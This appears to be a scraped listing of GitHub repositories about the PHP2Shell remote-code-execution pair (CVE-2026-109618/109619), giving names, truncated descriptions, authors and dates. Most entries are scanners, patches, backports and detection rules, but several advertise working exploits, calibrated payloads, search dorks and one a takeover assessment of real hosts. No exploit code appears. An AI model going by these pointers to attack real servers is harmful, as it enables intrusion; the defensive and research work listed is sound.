PHP session upload-progress LFI lab and FPM OOM / rfc1867 memory-corruption reproduction (CVE-2026-109618, CVE-2026-1096...
|
namest504 | 1 | 0 | 2026-10-22 | View |
|
ravhirizaldi/php2shell-engine-rce
Engine-level PHP2SHELL (CVE-2026-109618/109619) lab: stock PHP RCE, interactive exploit, multi-worker/TLS/OOB, Docker ev...
|
ravhirizaldi | 1 | 0 | 2026-10-23 | View |
|
emirwtz/php2shell-audit
A lightweight Python CLI to assess PHP2Shell (CVE-2026-109618 & CVE-2026-109619) exposure via version checks.
|
emirwtz | 1 | 0 | 2026-10-22 | View |
|
neelsomani/benevolent-php
Patches for CVE-2026-109618 and CVE-2026-109619
|
neelsomani | 1 | 0 | 2026-10-22 | View |
|
eltonlaice/php2shell-poc
Go edition of the php2shell lab: CVE-2026-109618/109619 Docker lab, chain verifiers, WAF middleware and detection rules.
|
eltonlaice | 1 | 0 | 2026-10-22 | View |
|
D4RCKCYPH3R/php2shell-scan
All-in-one scanner for CVE-2026-109618 / CVE-2026-109619 (php2shell). Domain → subdomain enum → DNS resolve → passive PH...
|
D4RCKCYPH3R | 1 | 0 | 2026-10-22 | View |
|
Charlie-Netdevops/php2shell-hostcheck
Read-only, on-server PHP2Shell (CVE-2026-109618/109619) check. Finds every PHP runtime (CLI, FPM, mod_php, cPanel/Plesk)...
|
Charlie-Netdevops | 1 | 0 | 2026-10-22 | View |
|
dipsh0v/php2shell-emudhra-hunting
KQL hunting queries for php2shell (CVE-2026-109618/109619) and the eMudhra CA key compromise, for Microsoft Defender XDR...
|
dipsh0v | 1 | 0 | 2026-10-22 | View |
|
Kernovix/php2shell-fix-check
Read-only PHP2Shell audit for CVE-2026-109618 and CVE-2026-109619. Discover PHP services and prepare remediation. Linux ...
|
Kernovix | 1 | 0 | 2026-10-22 | View |
|
AGI-CEO/php2shell-wordpress-to-nextjs-mcp
Fix PHP2Shell (CVE-2026-109618 & CVE-2026-109619) PHP RCE vulnerabilities and automatically convert any WordPress or PHP...
|
AGI-CEO | 1 | 0 | 2026-10-22 | View |
|
wasdthedebugger/php2shell
Guided one-file PHP wizard for PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Checks if your PHP is patched, applies php...
|
wasdthedebugger | 1 | 0 | 2026-10-22 | View |
|
Agentic-DFIR/PHP2Shell
Field notes on containing PHP2Shell (CVE-2026-109618 / CVE-2026-109619) on Apache shared hosting without upgrading PHP: ...
|
Agentic-DFIR | 1 | 0 | 2026-10-22 | View |
|
Zeppperoni/PHP2Shell-detector
quick and simple powershell based Internal PHP Version Assessment Checks for PHP versions potentially vulnerable to: CV...
|
Zeppperoni | 1 | 0 | 2026-10-22 | View |
|
ethoic-inc/php-vuln-check
PHP vulnerability checker for PHP2Shell (CVE-2026-109618/109619): audits servers, Docker images & CI. Backport-aware, ze...
|
ethoic-inc | 1 | 0 | 2026-10-22 | View |
|
toxy4ny/php2shell-checker
Read-only PHP2Shell package checker for Debian 12/13 (CVE-2026-109618, CVE-2026-109619).
|
toxy4ny | 1 | 0 | 2026-10-22 | View |
|
logesh-GIT001/php2shell
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) Two critical, unauthenticated Remote Code Execution (RCE) bugs in PHP cor...
|
logesh-GIT001 | 1 | 0 | 2026-10-22 | View |
|
scardotdev/php2shell-helper
PHP2Shell Helper | A lightweight Linux security audit and remediation helper for PHP2Shell (CVE-2026-109618 and CVE-2026...
|
scardotdev | 1 | 0 | 2026-10-22 | View |
|
nft-syou/php-5.4.45-php2shell-patch
Unofficial PHP 5.4.45 backport for CVE-2026-109618 and CVE-2026-109619, validated with ASan, PHPT, and VC11.
|
nft-syou | 1 | 0 | 2026-10-22 | View |
|
serkanburat/php74-patched-windows
Community Windows x64 NTS build for PHP 7.4 with the official CVE-2026-109618 and CVE-2026-109619 source backport. Inclu...
|
serkanburat | 1 | 0 | 2026-10-22 | View |
|
eagle1maledetto/php5.6-wheezy-cve-2026-109618
PHP 5.6.40 packages for Debian 7 wheezy with the CVE-2026-109618 / CVE-2026-109619 fix (unofficial rebuild of the jessie...
|
eagle1maledetto | 1 | 0 | 2026-10-22 | View |
|
Daniel-wambua/php2shell-poc
cve-2026-109618-109619-poc
|
Daniel-wambua | 1 | 0 | 2026-10-22 | View |
|
aledus10/PHP2Shell-Lab
Educational Docker labs for PHP CVE-2026-109618 and CVE-2026-109619
|
aledus10 | 1 | 0 | 2026-10-22 | View |
|
JackLiKa/php2shell-scan
Exposure scanner for CVE-2026-109618 / CVE-2026-109619 session and upload_progress attack chains on legacy PHP. Single-f...
|
JackLiKa | 1 | 0 | 2026-10-22 | View |
|
SanWRoot/php2shell-LAB-POC-
CVE-2026-109618 CVE-2026-109619
|
SanWRoot | 1 | 0 | 2026-10-22 | View |
|
LeminEly/CVE-2026-109618-109619
PoC demonstrations for PHP vulnerabilities CVE-2026-109618 & CVE-2026-109619
|
LeminEly | 1 | 0 | 2026-10-22 | View |
|
xPloits3c/PHP2Shell
Local/remote defensive audit for CVE-2026-109618 and CVE-2026-109619 ("php2shell") — verification of patched versions, n...
|
xPloits3c | 1 | 0 | 2026-10-22 | View |
|
Sanal-Lince/PHP-Shell-v0.3
PHP-Shell is a local-first, wizard-driven passive black-box assessment prototype for PHP runtime exposure to CVE-2026-10...
|
Sanal-Lince | 1 | 0 | 2026-10-22 | View |
|
shivabalaj/CVE-2026-109618
|
shivabalaj | 1 | 0 | 2026-10-22 | View |
|
jejex0/php2shell-scanner
CVE-2026-109618 scanner and authorized RCE verification
|
jejex0 | 1 | 0 | 2026-10-22 | View |
|
zNexoraTech/php2shell-detector
Detection for the critical PHP RCE flaws CVE-2026-109618 and CVE-2026-109619. Reports vulnerable/patched/EOL PHP runtime...
|
zNexoraTech | 1 | 0 | 2026-10-22 | View |
|
jorgbot/PHP2Shell
Script para auditar las url en produccion si es vulnerable con el bug CVE-2026-109618 / CVE-2026-109619 — PHP
|
jorgbot | 1 | 0 | 2026-10-22 | View |
|
kishwordulal2005/CVE-2026-109618-and-CVE-2026-109619-Exploit
CVE-2026-109618 and CVE-2026-109619 exploit
|
kishwordulal2005 | 1 | 0 | 2026-10-22 | View |
|
segfo/php2shell-poc
CVE-2026-109618 / CVE-2026-109619 PHP OOM Corruption PoC
|
segfo | 0 | 1 | 2026-10-22 | View |
|
WildanDeveloper/php2shell
CVE-2026-109618 / CVE-2026-109619 (php2shell) toolkit - session.upload_progress + LFI RCE proof and OOM precondition det...
|
WildanDeveloper | 1 | 0 | 2026-10-22 | View |
|
guaidao2/php2shell-exploit-labstyle
Research notes, a calibrated exploit and a detection template for the PHP session upload-progress RCEs (CVE-2026-109618 ...
|
guaidao2 | 1 | 0 | 2026-10-22 | View |
|
KByteITServices/php-vulnerability-checker-october-2026
Check Linux servers and Docker containers for PHP versions affected by CVE-2026-109618 and CVE-2026-109619 (PHP2Shell). ...
|
KByteITServices | 1 | 0 | 2026-10-22 | View |
|
checkfoxe/php56-session-uaf-patch
PHP 5.6 security patch, backports, and mitigations for session.upload_progress Use-After-Free (CVE-2026-109618, CVE-2026...
|
checkfoxe | 1 | 0 | 2026-10-22 | View |
|
nanoarmando/php-focal-backports
Rebuilds of patched ondrej/php PHP 8.1, 8.0, 7.4, 7.3 and 5.6 packages for Ubuntu 20.04 (CVE-2026-109618, CVE-2026-10961...
|
nanoarmando | 0 | 1 | 2026-10-22 | View |
|
basesixtythree/B63-POC-CVE-2026-109618
PoC and verification material for CVE-2026-109618 (PHP OOM bailout state corruption)
|
basesixtythree | 0 | 1 | 2026-10-21 | View |
|
euriconicacio/php2shell-validation-toolkit
Validation & defense toolkit for PHP2Shell (CVE-2026-109618 / CVE-2026-109619): safe exposure checker, stack-wide mitiga...
|
euriconicacio | 1 | 0 | 2026-10-21 | View |
|
joshuarosato/php2shell-poc
Proof-of-concept for CVE-2026-109618 and CVE-2026-109619 (PHP upload-progress RCE)
|
joshuarosato | 1 | 0 | 2026-10-21 | View |
|
projetoroot/php2shell-guard
Mitigar CVE-2026-109618 e CVE-2026-109619: Software que permite bloquear requisições HTTP que utilizam multipart/form-da...
|
projetoroot | 1 | 0 | 2026-10-21 | View |
|
D1a0y1bb/PHP2Shell-PoC
The PoC of CVE-2026-109618 and CVE-2026-109619
|
D1a0y1bb | 1 | 0 | 2026-10-21 | View |
|
SoftCreatR/php81-php2shell-fix
Unofficial PHP 8.1.34 builds for Linux and Windows with the PHP security team’s PHP2Shell fixes (CVE-2026-109618 and CVE...
|
SoftCreatR | 1 | 0 | 2026-10-21 | View |
|
aduli198/CVE-2026-109618_CVE-2026-109619
PoC for PHP2Shell (CVE-2026-109618 / CVE-2026-109619) zero-depndency, pre-auth RCE via a use-after-free in PHP's sessio...
|
aduli198 | 1 | 0 | 2026-10-22 | View |
|
valentin-marquez/php
Backport del fix oficial de CVE-2026-109618 / CVE-2026-109619 (RCE no autenticada de PHP) a ramas EOL 5.4 a 8.1
|
valentin-marquez | 1 | 0 | 2026-10-22 | View |
|
Sanal-Lince/PHP-Shell-v0.1
PHP-Shell is a local-first, wizard-driven passive black-box assessment prototype for PHP runtime exposure to CVE-2026-10...
|
Sanal-Lince | 1 | 0 | 2026-10-22 | View |
|
niemingxing/php73-php2shell-patch
Unofficial security patch for PHP 7.3 (EOL) fixing PHP2Shell RCE — CVE-2026-109618 & CVE-2026-109619. Backported from th...
|
niemingxing | 1 | 0 | 2026-10-22 | View |
|
absholi7ly/Deep-Technical-Report-CVE-2026-109618-CVE-2026-109619-PHP2Shell
|
absholi7ly | 1 | 0 | 2026-10-22 | View |
|
nesirat/php2shell-guard
Detection, mitigation, patching and fleet automation for the PHP2Shell RCE pair (CVE-2026-109618 / CVE-2026-109619)
|
nesirat | 1 | 0 | 2026-10-21 | View |
|
exch0-wuz-h3r3/php2shell-response-inspector
Python HTTP/HTTPS response inspection tool for authorized web security research related to PHP2Shell (CVE-2026-109618 an...
|
exch0-wuz-h3r3 | 1 | 0 | 2026-10-21 | View |
|
appsec-cz/php-eol-patch
Security patch backports for EOL PHP (7.3/7.4): CVE-2026-109618/109619 full backport, Tier1/Tier2 CVEs. Unofficial, comm...
|
appsec-cz | 1 | 0 | 2026-10-21 | View |
|
arifulislamat/php2shell-audit
Read-only checker for php2shell (CVE-2026-109618 / CVE-2026-109619): audit PHP servers and websites, no exploit payloads
|
arifulislamat | 1 | 0 | 2026-10-21 | View |
|
NULL200OK/php2shell-detect
Defensive Detector + Bounded Offensive Impact-Evidence Builder for CVE-2026-109618 / CVE-2026-109619 ("PHP2Shell")
|
NULL200OK | 1 | 0 | 2026-10-21 | View |
|
san3ncrypt3d/php-oom-corruption-lab
Lab, PoC, ASan research and EOL backport for CVE-2026-109618/109619 (PHP OOM state corruption). Defensive research.
|
san3ncrypt3d | 1 | 0 | 2026-10-21 | View |
|
silastammerik/php2shell-mitigacao
Mitigação temporária para o php2shell (CVE-2026-109618 / CVE-2026-109619): como desabilitar session.upload_progress no P...
|
silastammerik | 1 | 0 | 2026-10-21 | View |
|
FacundoGimenez/php2shell-mitigation
Interim mitigations, exposure checks and detection helpers for php2shell (CVE-2026-109618 / CVE-2026-109619)
|
FacundoGimenez | 1 | 0 | 2026-10-21 | View |
|
r3c0nd4t4/php2shell-verify
Verification toolkit + source analysis for CVE-2026-109618 / CVE-2026-109619 (php2shell). Reproduces the pre-RINIT uploa...
|
r3c0nd4t4 | 0 | 1 | 2026-10-21 | View |
|
msoni11/msphp2shell
Free, read-only checker for PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Finds every PHP build, detects vendor back-po...
|
msoni11 | 1 | 0 | 2026-10-21 | View |
|
goodcoddeo/pterodactyl_PHP-CVE-2026-109618-CVE-2026-109619
Pterodactyl PHP security updater for Ubuntu 24.04 and Debian 12/13. AppliePHP security updates for CVE-2026-109618 and C...
|
goodcoddeo | 1 | 0 | 2026-10-21 | View |
|
slabwren/php2shell-detection
Blue-team detection signatures and interim mitigations for php2shell (CVE-2026-109618/109619) PHP pre-auth RCE pair. Det...
|
slabwren | 1 | 0 | 2026-10-21 | View |
|
mothproof3512/php2shell-scan
No warranties vibecoded scanner for CVE-2026-109618 / CVE-2026-109619
|
mothproof3512 | 0 | 1 | 2026-10-21 | View |
|
rdwr-namikb/php2shell-cve-2026-109618-109619-lab
Local verification lab for CVE-2026-109618 / CVE-2026-109619 (php2shell): PHP 8.4.4 vs 8.4.27
|
rdwr-namikb | 0 | 1 | 2026-10-21 | View |
|
litobro/php2mon
Live monitor for PHP2Shell exploitation (CVE-2026-109618/109619)
|
litobro | 1 | 0 | 2026-10-21 | View |
|
0ldbaby/php2shell
CVE-2026-109618 / CVE-2026-109619
|
0ldbaby | 0 | 1 | 2026-10-21 | View |
|
jsrobinson3/php74-focal-cve-2026-109618
|
jsrobinson3 | 1 | 0 | 2026-10-21 | View |
|
wind884/CVE-2026-109618-109619-PHP2Shell
PHP2Shell · CVE-2026-109618 / CVE-2026-109619 的 PHP RCE 源码审计与补丁分析 | PHP remote code execution source audit, request life...
|
wind884 | 1 | 0 | 2026-10-21 | View |
|
Lexsah/php2shell-detection
Detection and mitigation rules for CVE-2026-109618 / CVE-2026-109619 (php2shell). Blue-team only.
|
Lexsah | 1 | 0 | 2026-10-21 | View |
|
zarguell/php2shell-scanner
Non-destructive network scanner for php2shell (CVE-2026-109618/CVE-2026-109619): version fingerprint + session-write ora...
|
zarguell | 1 | 0 | 2026-10-21 | View |
|
OmerAti/php-5.6.40-CVE-2026-109618-109619.patch
Important: PHP 5.6 is an end-of-life release. This patch should only be considered a security measure after its source c...
|
OmerAti | 1 | 0 | 2026-10-21 | View |
|
imranulbari/php-security-update-helper
The supplied report identifies `CVE-2026-109618` and `CVE-2026-109619` and targets PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.3...
|
imranulbari | 1 | 0 | 2026-10-21 | View |
|
fufufuwa/php2shell-detect
Non-destructive detection toolkit + version-differential oracle for PHP2Shell (CVE-2026-109618/109619). Leak oracle veri...
|
fufufuwa | 1 | 0 | 2026-10-21 | View |
|
EthicalHCOP/php2shell-Simple-Checker
Es un script bastante simple que ayuda a determinar la posibilidad de explotación de la vulnerabilidad php2shell (CVE-2...
|
EthicalHCOP | 1 | 0 | 2026-10-21 | View |
|
Liam-G/php2shell-audit
Non-destructive scanner for CVE-2026-109618 and CVE-2026-109619
|
Liam-G | 1 | 0 | 2026-10-21 | View |
|
ecomyseo/ecom_blockrceflaws
PrestaShop 1.7/8/9 module that mitigates, logs and IP-blocks exploitation attempts of the critical PHP RCE flaws CVE-202...
|
ecomyseo | 1 | 0 | 2026-10-21 | View |
|
JohnHansonTheDev/phpreaper
PhpReaper — GUI vulnerability scanner for CVE-2026-109618 / CVE-2026-109619 (PHP session upload progress RCE)
|
JohnHansonTheDev | 1 | 0 | 2026-10-21 | View |
|
RemiPelloux/php-session-upload-progress-uaf
Independent source-level analysis and detection tooling for the PHP session.upload_progress pre-RINIT use-after-free (CV...
|
RemiPelloux | 1 | 0 | 2026-10-21 | View |
|
julio-romo-muninn/PHP2SHELL
Isolated Docker lab to verify CVE-2026-109618 / CVE-2026-109619 (PHP session.upload_progress cross-request UAF -> RCE)
|
julio-romo-muninn | 1 | 0 | 2026-10-21 | View |
|
TahuCryptsi/php2shell-check
Local exposure auditor for CVE-2026-109618 / CVE-2026-109619 (PHP session.upload_progress UAF). Answers whether YOUR hos...
|
TahuCryptsi | 1 | 0 | 2026-10-21 | View |
|
darkfibr/php2shell-detect
Defensive detection toolkit for php2shell (CVE-2026-109618/109619, PHP session.upload_progress UAF): UA-independent shap...
|
darkfibr | 1 | 0 | 2026-10-21 | View |
|
codewizdevs/php2shell-watcher
Cloudflare Worker: edge detection + blocking for PHP session.upload_progress RCE (CVE-2026-109618/109619) with Discord a...
|
codewizdevs | 1 | 0 | 2026-10-21 | View |
|
cagritopuz/php2shell
php2shell | CVE-2026-109618 & CVE-2026-109619
|
cagritopuz | 1 | 0 | 2026-10-21 | View |
|
Stensel8/check-for-CVE-2026-109618-CVE-2026-109619
|
Stensel8 | 1 | 0 | 2026-10-21 | View |
|
unbelievable-digital/is-my-php-pwned
Did php2shell (CVE-2026-109618/109619) already own your servers? One read-only script to find out.
|
unbelievable-digital | 1 | 0 | 2026-10-21 | View |
|
okumura-pico/php-7.2.11-cve-2026-109618-fix
Unofficial backport
|
okumura-pico | 0 | 0 | 2026-11-04 | View |
|
Danyw24/the-php2shell-recipe
One recipe, any unpatched build → RCE in ~30 minutes | CVE-2026-109618 research lab: 4-stage chain gdb-verified, 3 RCE b...
|
Danyw24 | 0 | 0 | 2026-11-03 | View |
|
SecOpsLimited/php2shell-finder
Non-destructive, probabilistic finder for hosts exposed to php2shell (CVE-2026-109618/109619). Blue-team triage; sends n...
|
SecOpsLimited | 0 | 0 | 2026-11-03 | View |
|
che3axujnya/cve-2026-109618-cve-2026-109619-poc
pHp2Shell CVE 2016 109618 - 109619
|
che3axujnya | 0 | 0 | 2026-10-29 | View |
|
cx-jacob-rand/php2shell-cx
PHP2Shell" (CVE-2026-109618 and CVE-2026-109619)
|
cx-jacob-rand | 0 | 0 | 2026-10-22 | View |
|
mxxnknght/php2shell-CVE-2026-109618-CVE-2026-109619-Dorks
PHP2Shell PHP CVE-2026-109618 and CVE-2026-109619 dorks
|
mxxnknght | 0 | 0 | 2026-10-21 | View |
|
ankushsinghrajput-git/php_vulnerability_scanner
A Python-based security scanner designed to identify potential exposure to critical PHP vulnerabilities CVE-2026-109618 ...
|
ankushsinghrajput-git | 0 | 0 | 2026-11-02 | View |
|
mrnaeem4/wazuh-php2shell
Rule Wazuh untuk mendeteksi eksploitasi PHP2Shell (CVE-2026-109618 / CVE-2026-109619) pada server web berbasis PHP (Apac...
|
mrnaeem4 | 0 | 0 | 2026-11-02 | View |
|
secopsxsaiyan/php2shell-wazuh-detections
Wazuh rules and Sigma equivalents for PHP2Shell (CVE-2026-109618 / CVE-2026-109619) on Apache mod_php: a non-root shell ...
|
secopsxsaiyan | 0 | 0 | 2026-11-02 | View |
|
andrysunjaya/php2shell-scanner
Read-only scanner for PHP2Shell (CVE-2026-109618 / CVE-2026-109619): finds vulnerable PHP, stale processes and webshells...
|
andrysunjaya | 0 | 0 | 2026-11-02 | View |
|
drekbad/php-search
PHP2Shell scanner - CVE-2026-109618 and CVE-2026-109619
|
drekbad | 0 | 0 | 2026-11-01 | View |
|
PrasanthNarava/zero-day-php-rce-mitigation
Incident Response Case Study: Zero-Day RCE Vulnerability Mitigation & Zero-Downtime Container Hotfix on AWS + Docker (CV...
|
PrasanthNarava | 0 | 0 | 2026-11-01 | View |
|
sahmsec/CVE-2026-109618-PHP2SHELL
POC of CVE-2026-109618(PHP2SHELL)
|
sahmsec | 0 | 0 | 2026-11-01 | View |
|
ys0816/php56-php2shell-rpm
PHP 5.6.40 RPM packages with PHP2Shell security patches for CVE-2026-109618 and CVE-2026-109619 on EL6.
|
ys0816 | 0 | 0 | 2026-11-01 | View |
|
riyadh920/php2shell-2026-incident-analysis
Independent technical analysis of PHP2Shell (CVE-2026-109618 and CVE-2026-109619), covering root cause, disclosure, hone...
|
riyadh920 | 0 | 0 | 2026-11-01 | View |
|
haseebanjum/php-patch-check
Check whether a PHP version is patched against PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Stdlib-only Python.
|
haseebanjum | 0 | 0 | 2026-10-31 | View |
|
Cgdocx/php2shell-lab-verification
Defensive lab verification & IR note for php2shell (CVE-2026-109618 / CVE-2026-109619) — patch matrix, mitigation, hunt ...
|
Cgdocx | 0 | 0 | 2026-10-31 | View |
|
marceloaugu/php2shell-ubuntu
Analisa e corrige as vulnerabilidades php2shell do PHP (CVE-2026-109618 e CVE-2026-109619) no Ubuntu
|
marceloaugu | 0 | 0 | 2026-10-31 | View |
|
shellharbor/php-7.4-cve-2026-docker
PHP 7.4.33 CLI/FPM Docker image with pinned backports for CVE-2026-109618 and CVE-2026-109619, plus updated native libra...
|
shellharbor | 0 | 0 | 2026-10-31 | View |
|
catscarlet/php-fpm-docker-PHP-7.4-CVE-2026-109618-109619-patched
This is a Docker Image of php:7.4-fpm which is **CVE-2026-109618-109691-patched**.
|
catscarlet | 0 | 0 | 2026-10-25 | View |
|
SanketKokate712/php2shell-fix
Claude Code skill + scripts to find, patch and verify PHP2Shell (CVE-2026-109618, CVE-2026-109619) on any PHP server
|
SanketKokate712 | 0 | 0 | 2026-10-23 | View |
|
DarkGlitchLegion/php2shell-lab
Isolated Docker lab for studying PHP2Shell vulnerabilities CVE-2026-109618 and CVE-2026-109619.
|
DarkGlitchLegion | 0 | 0 | 2026-10-31 | View |
|
Lydia-King-K/ddld36-solar-aegis
⛩️☀️ Zero-cost Cloudflare Edge Defense (CVE-2026-109618) + HTTP x402 AI Crawler Monetization. Earn 20% USDC. Landauer Th...
|
Lydia-King-K | 0 | 0 | 2026-10-31 | View |
|
flynnsmc-lgtm/qt-t-shield
QT Analytics — Operation Fire Pole: Free 60-Second Emergency Defense & Reverse-Proxy Shield for PHP2Shell (CVE-2026-1096...
|
flynnsmc-lgtm | 0 | 0 | 2026-10-30 | View |
|
yusufyildiz34/whichphp
Is the PHP in your container image really fixed for PHP2Shell (CVE-2026-109618, CVE-2026-109619)? Finds PHP builds insid...
|
yusufyildiz34 | 0 | 0 | 2026-10-30 | View |
|
kcwilus/php2shell-research-portfolio
PHP2Shell CVE-2026-109618 and CVE-2026-109619 research and isolated RCE lab
|
kcwilus | 0 | 0 | 2026-10-30 | View |
|
liztrr01/php2shell
PHP file-upload / code-exec toolkit → shell + PHP2Shell CVE-2026-109618/109619 modules
|
liztrr01 | 0 | 0 | 2026-10-30 | View |
|
kackey621/php2shell-emergency
PHP脆弱性（PHP2Shell: CVE-2026-109618 / CVE-2026-109619）緊急対応プランのランディングページ
|
kackey621 | 0 | 0 | 2026-10-30 | View |
|
marcostolosa/CVE-2026-109618-109619
PHP2Shell CVE-2026-109618 / CVE-2026-109619 Mitigation work (Ansible Role)
|
marcostolosa | 0 | 0 | 2026-10-28 | View |
|
ArchonXDeadLocksecurity/ArchonX-PHP2Shell
Pre-auth PHP RCE framework for CVE-2026-109618/619 — ArchonX_DeadLock_Security
|
ArchonXDeadLocksecurity | 0 | 0 | 2026-10-30 | View |
|
clearhandreview/panos-php2shell-defense
Open-source hotfix for PAN-OS firewall chain attack PHP2Shell and Fragnesia CVE-2026-109618 and CVE-2026-46300
|
clearhandreview | 0 | 0 | 2026-10-30 | View |
|
giannicabrera90-design/PHP2SHELL-Research
Responsible exposure assessment and version fingerprinting for PHP core vulnerabilities CVE-2026-109618 & CVE-2026-10961...
|
giannicabrera90-design | 0 | 0 | 2026-10-30 | View |
|
upeul/vulnpocalypse-2026-10-response
Diagnosis and remediation prompt for PHP2Shell (CVE-2026-109618/109619), the Node.js Oct 2026 security release and Brotl...
|
upeul | 0 | 0 | 2026-10-30 | View |
|
cttynul/php2shell
🐘 Ansible CVE-2026-109618, CVE-2026-109619 scanner
|
cttynul | 0 | 0 | 2026-10-29 | View |
|
WebInspectPro/php2shell-poc
CLI scanner and PoC for CVE-2026-109618 / CVE-2026-109619 (PHP OOM heap corruption and session upload-progress injection...
|
WebInspectPro | 0 | 0 | 2026-10-29 | View |
|
skill-tzy/php2shell-poc
CVE-2026-109618/109619 — 5 RCE chains + detection rules (Suricata, Sigma, ModSecurity). PHP session.upload_progress pre-...
|
skill-tzy | 0 | 0 | 2026-10-29 | View |
|
Dungsocool/PHP2Shell
CVE-2026-109618 & CVE-2026-109619 — Pre-Auth RCE in PHP Core (session.upload_progress). Scanner, exploit verifier, and f...
|
Dungsocool | 0 | 0 | 2026-10-29 | View |
|
Gitsimbanyi2/php2shell-advisory-response
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) advisory response: inventory, patch, Wazuh hunt mapping, attestation outli...
|
Gitsimbanyi2 | 0 | 0 | 2026-10-29 | View |
|
fahise/cve-2026-109618-cve-2026-109619-poc
pHp2Shell CVE 2016 109618 - 109619
|
fahise | 0 | 0 | 2026-10-29 | View |
|
RedSideSecurity/php2shell
Realistic multi-version lab + toolkit for the PHP php2shell pre-auth RCE (CVE-2026-109618/109619): detect, blindly prove...
|
RedSideSecurity | 0 | 0 | 2026-10-29 | View |
|
Captain-AI-Hub/PHP2shell
CVE-2026-109618_CVE-2026-109619
|
Captain-AI-Hub | 0 | 0 | 2026-10-29 | View |
|
kokilyadm/waffers
The layer that protects you. Proactive defense-in-depth Web Application Firewall mitigating recent critical PHP engine v...
|
kokilyadm | 0 | 0 | 2026-10-29 | View |
|
aulwardana/php2shell-check
A Claude Skill that passively checks whether a website (and optionally its subdomains) runs PHP, confirms the version wh...
|
aulwardana | 0 | 0 | 2026-10-29 | View |
|
iliaal/php2shell
php2shell (CVE-2026-109618/109619) reproduction lab — lab only, targets the vulnerable php:8.5.11 images
|
iliaal | 0 | 0 | 2026-10-28 | View |
|
TheMalwareGuardian/Workshop-PHP2Shell
Hands-on PHP2Shell workshop: Docker labs, guided debugging, and annotated exploits for CVE-2026-109618 and CVE-2026-1096...
|
TheMalwareGuardian | 0 | 0 | 2026-10-28 | View |
|
mehmet-emir-eroglu/php2shell
A lightweight Python CLI to assess PHP2Shell (CVE-2026-109618 & CVE-2026-109619) exposure via version checks.
|
mehmet-emir-eroglu | 0 | 0 | 2026-10-22 | View |
|
0xredash/CVE-2026-109618
CVE-2026-109618
|
0xredash | 0 | 0 | 2026-10-21 | View |
|
nfemenia/php56-amzn1-security
Security-patched php56 RPMs for Amazon Linux 1 (AMI 2018.03): PHP2Shell (CVE-2026-109618, CVE-2026-109619) and post-5.6....
|
nfemenia | 0 | 0 | 2026-10-28 | View |
|
inderpreetsinghips/php2shell-audit
Non-intrusive detector for PHP2Shell (CVE-2026-109618 / CVE-2026-109619) - scans codebases and live hosts for vulnerable...
|
inderpreetsinghips | 0 | 0 | 2026-10-28 | View |
|
RH1TE/php2shell-fixed-images
Reproducible RHITE fixed PHP runtime images for CVE-2026-109618 and CVE-2026-109619
|
RH1TE | 0 | 0 | 2026-10-28 | View |
|
foxcornlab/php-worker-pin
Multi-worker exploitation of the PHP 8.5 OOM-to-RCE chain (CVE-2026-109618/109619): pool pinning, measured
|
foxcornlab | 0 | 0 | 2026-10-28 | View |
|
c04tl/PHP2SHELL-Lab
Laboratorio para detectar y explotar las vulnerabilidades CVE-2026-109618 y CVE-2026-109619
|
c04tl | 0 | 0 | 2026-10-28 | View |
|
0xgh057r3c0n/PHP2shell
One-click exploit PoC for CVE-2026-109618 and CVE-2026-109619 against vulnerable PHP + Apache mod_php (prefork) targets.
|
0xgh057r3c0n | 0 | 0 | 2026-10-28 | View |
|
ngenieer/php-eol-backports
Unofficial backports of the PHP2Shell fix (CVE-2026-109618, CVE-2026-109619) to end-of-life PHP 7.0–7.3, with regression...
|
ngenieer | 0 | 0 | 2026-10-24 | View |
|
CarrollUniversityCS/patch-watch
Passive, non-intrusive measurement of how quickly U.S. state, county, city, and tribal government websites patch critica...
|
CarrollUniversityCS | 0 | 0 | 2026-10-22 | View |
|
lflare/php2shell-cve-2026-109618-109619
calibrated php2shell payloads for common docker images
|
lflare | 0 | 0 | 2026-10-28 | View |
|
swguan325/php80-scl-el7-rebuild
Unofficial rebuild of Remi's php80-php 8.0.30-21 SCL packages for CentOS/RHEL 7 (EOL). Includes all 44 CVE fixes between...
|
swguan325 | 0 | 0 | 2026-10-28 | View |
|
roblennon/php-scare-counted
Verification artifacts for 'How I replicated PHP2Shell, and 5 ways we got super lucky' — checkers for every claim: the f...
|
roblennon | 0 | 0 | 2026-10-27 | View |
|
axisops/CVE-2026-109618-109619
PHP2Shell CVE-2026-109618 / CVE-2026-109619 Mitigation work (Ansible Role)
|
axisops | 0 | 0 | 2026-10-27 | View |
|
Liquescent-Development/CVE-2026-109618-CVE-2026-109619
|
Liquescent-Development | 0 | 0 | 2026-10-27 | View |
|
r0yfire/php2shell
CVE-2026-109618 · CVE-2026-109619
|
r0yfire | 0 | 0 | 2026-10-27 | View |
|
FoxKyong/php2shell-checks
Read-only exposure checks for PHP2Shell (CVE-2026-109618 / -109619): accuracy-hardened scanner + two on-box auditors.
|
FoxKyong | 0 | 0 | 2026-10-27 | View |
|
muhammadsohaimmuqtada/php2shell-version-frontier
Measured php2shell (CVE-2026-109618/109619) RCE frontier on amd64: 8.3.35 closed via gdb crash forensics (HTDATA=chunk+0...
|
muhammadsohaimmuqtada | 0 | 0 | 2026-10-27 | View |
|
HARSHA2396/php2shell-exposure-scanner
Detection-only PHP version/exposure scanner for CVE-2026-109618 and CVE-2026-109619 (PHP2Shell). Fingerprints PHP versio...
|
HARSHA2396 | 0 | 0 | 2026-10-27 | View |
|
zinspin888/crypto_quinxin
PHP2Shell (CVE-2026-109618/109619) exposure sweep and takeover assessment across 56 vulnerable TZ/KE hosts
|
zinspin888 | 0 | 0 | 2026-10-27 | View |
|
qw3rtyou/php2shell
php2shell (CVE-2026-109618/109619) research: lab + analysis
|
qw3rtyou | 0 | 0 | 2026-10-27 | View |
|
Mojo7823/phpscan
Detect-only PHP2Shell (CVE-2026-109618/109619) exposure check for websites and local network devices
|
Mojo7823 | 0 | 0 | 2026-10-27 | View |
|
naoki51931/PHP2Shell-Research-Lab-v0.1
PHP2Shell（CVE-2026-109618 / CVE-2026-109619）の修正状況を確認し、PHPのメモリ安全性を研究するためのセキュリティ検証ツール。
|
naoki51931 | 0 | 0 | 2026-10-27 | View |
|
lanz/php2shell-coverage-check
Checks that Tenable scanning is set up to detect PHP2Shell (CVE-2026-109618, CVE-2026-109619) on every PHP host: plugin ...
|
lanz | 0 | 0 | 2026-10-26 | View |
|
rayaar/php2shellPoc
